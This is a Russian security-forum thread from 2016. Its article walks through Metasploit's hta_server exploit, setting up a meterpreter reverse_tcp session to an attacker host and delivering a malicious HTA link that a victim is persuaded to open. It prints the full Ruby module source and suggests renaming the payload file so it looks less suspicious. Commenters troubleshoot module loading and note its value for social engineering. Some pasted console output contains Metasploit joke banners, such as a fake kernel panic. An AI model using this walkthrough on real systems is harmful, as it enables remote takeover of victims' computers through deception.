Статья Взлом удаленного ПК: HTA-server

Всем привет! В этой статье я хочу показать взлом удаленного компьютера, а точнее, получение сессии meterpreter c помощью эксплойта - hta_server.

upload_2016-10-28_15-22-33.png


Появился он недавно в версии Metasploit Framework v4.12.34,

upload_2016-10-28_15-22-53.png


так, что прежде чем начать убеждаемся в ее наличии, если отсутствует, обновляемся:

> apt-get update && apt-get upgrade –y && apt-get dist-upgrade

Запускаем Metasploit Framework:

> msfconsole

В появившейся консоли фреймворка пишем:
Код:
use exploit/windows/misc/hta_server
set payload /windows/meterpreter/reverse_tcp
set LHOST 172.16.0.160
set SRVHOST 172.16.0.160
set LPORT 4444
exploit
Теперь, если все проделано, верно, видим экран с таким содержимым:

upload_2016-10-28_15-23-48.png


Теперь немного теории, первая строка обозначает, что обратное подключение (от жертвы) ожидается на адресе 172.16.0.160 и порту 4444.

Вторая, это ссылка которую необходимо доставить нашей цели, но не просто доставить, а убедить в том, что по ней необходимо перейти :)

А третья, собственно, о том, что был поднят веб-сервер на локальном адресе.

Перейдем по ссылке на целевой машине:

upload_2016-10-28_15-24-25.png


Вернувшись к консоли линукс, мы видим, что сервер сообщает о доставке полезной нагрузки обратившемуся к нему адресу 172.16.0.139.

upload_2016-10-28_15-25-8.png


Вернемся к целевому хосту и скачаем то, что было предложено сервером.

upload_2016-10-28_15-26-6.png


Как видно, сервер сгенерировал нам некое приложение .hta - HTML Application (HTA) — приложение, написанное на HTML или Dynamic HTML.

upload_2016-10-28_15-26-27.png


После запуска получаем готовую рабочую сессию meterpreter.

upload_2016-10-28_15-26-49.png


Объясню, как это происходит, созданное приложение открыло в фоновом режиме другое приложение, которое может работать скрытно от глаз пользователя, зовется оно PowerShell - Представляет собой современную стандартизированную оболочку командной строки, обеспечивающую большую гибкость управления компьютером на базе операционной системы Windows. По сути, PowerShell — это та же командная строка, но только намного более функциональная. Увидеть ее можно, набрав в пуске - powershell

upload_2016-10-28_15-28-24.png


PowerShell содержащий полезную нагрузку обнаруживается в диспетчере задач:

upload_2016-10-28_15-28-45.png


Итак, по поводу нагрузки все ясно. Дальнейшие действия зависят от фантазии.

Я бы хотел обратить внимание на один очень важный, по моему мнению момент. Взглянем на исходный код скрипта, который находится /usr/share/metasploit-framework/modules/exploit/windows/misc/hta_server.rb написан он на Ruby:
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTA Web Server',
      'Description'    => %q(
        This module hosts an HTML Application (HTA) that when opened will run a
        payload via Powershell. When a user navigates to the HTA file they will
        be prompted by IE twice before the payload is executed.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => 'Spencer McIntyre',
      'References'     =>
        [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
      # space is restricted by the powershell command limit
      'Payload'        => { 'DisableNops' => true, 'Space' => 2048 },
      'Platform'       => %w(win),
      'Targets'        =>
        [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 06 2016'
    ))
  end
  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end
Строка '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta' определяет название выходного файла. Данный метод генерирует абсолютную дичь, состоящую из 10 + -рандомных чисел и букв. (Fg8FGn34f9.hta) Предлагаю исправить это на более приемлемый вариант.

Делается это путем изменения метода .rand_text_alphanumeric на метод .uri_encode

upload_2016-10-28_15-30-32.png


В одинарных кавычках пишем, все что угодно. На этом все. Спасибо за внимание.

P.S.
Осталось подумать, как приделать к нему более симпатичный ярлык…

P.P.S. Статья не является руководством к действию и опубликована исключительно в ознакомительных целях. За последствия вызванные применением данного метода на практике автор и ресурс, ответственности не несут.
 
Последнее редактирование:

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
То есть в моем случае поможет только белый ip? то есть статически?
no-ip попробуй...как вариант еще приобрести vps..Многие хостинги vps дают тестовый бесплатный период, даж если ваш ip занесут в черный список, никто вам не помешает зарегистрировать новый.
 
Последнее редактирование:
S

SergaevOleg

Приветствую!
Во первых спасибо большое за ваш труд Vander!

Юзаю Кали

В базе нет этого эксплоита:
msf > use exploit/windows/misc/hta_server
[-] Failed to load module: exploit/windows/misc/hta_server
msf >

Делал апдейты с апгрейдами и непосредственно в Метасплоите reload_all
Хотел отдельно слить и добавить в модули, но кажется 14 дней триал дают товарищи.

Посоветуйте что делать или дайте эксплоит чтобы я его добавил.
 
S

SergaevOleg

И хотел поправить если можно для:
> apt-get update –y && apt-get upgrade –y && apt-get dist-upgrade –y

Для update аргумент -y не нужен
и для apt-get dist-upgrade –y не пишем в конце -y


Исправьте на этот пожалуйста:
Код:
apt-get update && apt-get upgrade –y && apt-get dist-upgrade
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
И хотел поправить если можно для:
> apt-get update –y && apt-get upgrade –y && apt-get dist-upgrade –y

Для update аргумент -y не нужен
и для apt-get dist-upgrade –y не пишем в конце -y


Исправьте на этот пожалуйста:
Код:
apt-get update && apt-get upgrade –y && apt-get dist-upgrade
Спасибо, исправлено
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Приветствую!
Во первых спасибо большое за ваш труд Vander!

Юзаю Кали

В базе нет этого эксплоита:
msf > use exploit/windows/misc/hta_server
[-] Failed to load module: exploit/windows/misc/hta_server
msf >

Делал апдейты с апгрейдами и непосредственно в Метасплоите reload_all
Хотел отдельно слить и добавить в модули, но кажется 14 дней триал дают товарищи.

Посоветуйте что делать или дайте эксплоит чтобы я его добавил.
А там в статье исходный код есть, сохраните его как Ruby файл и добавляйте
 
S

SergaevOleg

А там в статье исходный код есть, сохраните его как Ruby файл и добавляйте

Все сделал как вы посоветовали. Положил туда файл hta_server.rb с исходником что в статье.
Зашел в msfconsole, затем reload_all
И выдало такое:

Код:
msf > reload_all
[*] Reloading modules from all module paths...
[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

При попытке
msf > use exploit/windows/misc/hta_server
[-] Failed to load module: exploit/windows/misc/hta_server
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Все сделал как вы посоветовали. Положил туда файл hta_server.rb с исходником что в статье.
Зашел в msfconsole, затем reload_all
И выдало такое:

Код:
msf > reload_all
[*] Reloading modules from all module paths...
[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

При попытке
msf > use exploit/windows/misc/hta_server
[-] Failed to load module: exploit/windows/misc/hta_server
Где-то ошибка в исходном коде...
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Все сделал как вы посоветовали. Положил туда файл hta_server.rb с исходником что в статье.
Зашел в msfconsole, затем reload_all
И выдало такое:

Код:
msf > reload_all
[*] Reloading modules from all module paths...
[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

При попытке
msf > use exploit/windows/misc/hta_server
[-] Failed to load module: exploit/windows/misc/hta_server
Посмотрите в источнике - https://github.com/rapid7/metasploi...r/modules/exploits/windows/misc/hta_server.rb
 
S

SergaevOleg


В общем прежде чем сюда написать, я взял по вашей ссылке с Гитхаба файл и поместил его в папку с модулями, после чего запустил метасплоит. По существу, ничего не поменялось. Я не понимаю что не так...

Изначально при запуске метасплоита выдало это:
Код:
root@kali:~# msfconsole
[-] Failed to connect to the database: could not connect to server: Connection refused
    Is the server running on host "localhost" (::1) and accepting
    TCP/IP connections on port 5432?
could not connect to server: Connection refused
    Is the server running on host "localhost" (127.0.0.1) and accepting
    TCP/IP connections on port 5432?

[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

Сделал релоад_алл, после выдало:
Код:
msf > reload_all
[*] Reloading modules from all module paths...
[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Статья хорошоя,хотелось бы обратить внимания ваше на то что открываются только в IE explorer (браузер по умолчанию)
А powershell установлен на системы виндоус начиная с windows 7. Это не мало важный фактор при атаке на который стоит обращать внимания,так как в браузерах firefox и chrome у вас этот сплойт не отработает!!!
 
  • Нравится
Реакции: Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Статья хорошоя,хотелось бы обратить внимания ваше на то что открываются только в IE explorer (браузер по умолчанию)
А powershell установлен на системы виндоус начиная с windows 7. Это не мало важный фактор при атаке на который стоит обращать внимания,так как в браузерах firefox и chrome у вас этот сплойт не отработает!!!
Откуда у вас такая уверенность?
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Вводим в строку поиска сгенерированный экплоитом адрес:

upload_2016-11-8_14-18-2.png


Жмем Enter:

upload_2016-11-8_14-18-31.png


Запускаем:
upload_2016-11-8_14-19-21.png


В терминале Kali:

upload_2016-11-8_14-20-9.png


upload_2016-11-8_14-20-56.png
 
  • Нравится
Реакции: <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Откуда у вас такая уверенность?
Ну если жертва откроет ccылку в IE - то ей выкачивать файл не прийдеться(HTA отработает в браузере) так hta в больше части применяется для IE
Код:
http://www.script-coding.com/HTA.html
.В твоей версии жертва просто выкачивает файл hta и запускает его(так же как и обычный батник или бинарник) В описании сплойта написано что он по дефолту идет под браузер IE.
То что ты применил его как Web Delivery - это хорошо))) Для соц.инженерии можно юзать)
Вот фрагмент из описания сплойта:
Snymok.jpg


А вот паренек показывает на видео как работает этот сплойт под IE:
 
  • Нравится
Реакции: Vander

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Да, все верно. Я его под IE не юзал, а сразу под Opera и Crome, а вы выше написали что hta файлы открываются только в IE explorer. Но т.к. в других браузерах его приходится скачивать, я писал в конце статьи, что было бы неплохо прикреплять к нему ярлычки, чтоб не выглядел так стремно... И да, для соц. инженерии пойдет))
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
В общем прежде чем сюда написать, я взял по вашей ссылке с Гитхаба файл и поместил его в папку с модулями, после чего запустил метасплоит. По существу, ничего не поменялось. Я не понимаю что не так...

Изначально при запуске метасплоита выдало это:
Код:
root@kali:~# msfconsole
[-] Failed to connect to the database: could not connect to server: Connection refused
    Is the server running on host "localhost" (::1) and accepting
    TCP/IP connections on port 5432?
could not connect to server: Connection refused
    Is the server running on host "localhost" (127.0.0.1) and accepting
    TCP/IP connections on port 5432?

[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

Сделал релоад_алл, после выдало:
Код:
msf > reload_all
[*] Reloading modules from all module paths...
[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
Вы разобрались с этой проблемой?
 
  • Нравится
Реакции: SergaevOleg
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!